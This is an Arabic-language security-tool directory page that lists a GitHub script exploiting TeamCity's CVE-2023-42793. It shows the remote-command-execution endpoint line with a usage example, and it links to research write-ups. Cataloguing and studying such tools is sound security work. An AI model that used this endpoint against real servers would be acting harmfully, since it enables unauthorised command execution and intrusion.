Skip to content
KitploitKITPLOIT
أدواتالمدونة
Log in
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
teamcity-exploit-cve-2023-42793 — teamcity-exploit-cve-2023-42793 | Kitploit
أدوات/GitHubGitHub/swiftsecur/teamcity-exploit-cve-2023-42793
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالقيادة والسيطرةالفريق الأحمر
GitHubswiftsecur/teamcity-exploit-cve-2023-42793

teamcity-exploit-cve-2023-42793

teamcity-exploit-cve-2023-42793

عرض المستودع
1116منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة TeamCity Cve 2023 42793

نص برمجي سريع لاستغلال الثغرة cve-2023-42793. بعض القراءات الإضافية حول الاستغلال موجودة هنا:

https://www.fortinet.com/blog/threat-research/teamcity-intrusion-saga-apt29-suspected-exploiting-cve-2023-42793​

https://www.cnblogs.com/LittleHann/p/17843271.html​

يضيف هذا النص البرمجي القدرة على استخدام "params" بحرية لتنفيذ الأوامر بعد تشغيل ثغرة RCE:

RCE_ENDPOINT="${BASE_URL}:${PORT}/app/rest/debug/processes?exePath=sh&params=-c&params=${URLCMD}"

لتشغيل النص البرمجي:

الاستخدام: <base_url> <port> <command>

مثال:

./TeamCity.sh blah.com 8111 "ls -lah"

النص البرمجي الأصلي هنا، كل التقدير يعود لهم: https://github.com/Zenmovie/CVE-2023-42793

تنزيل الأداة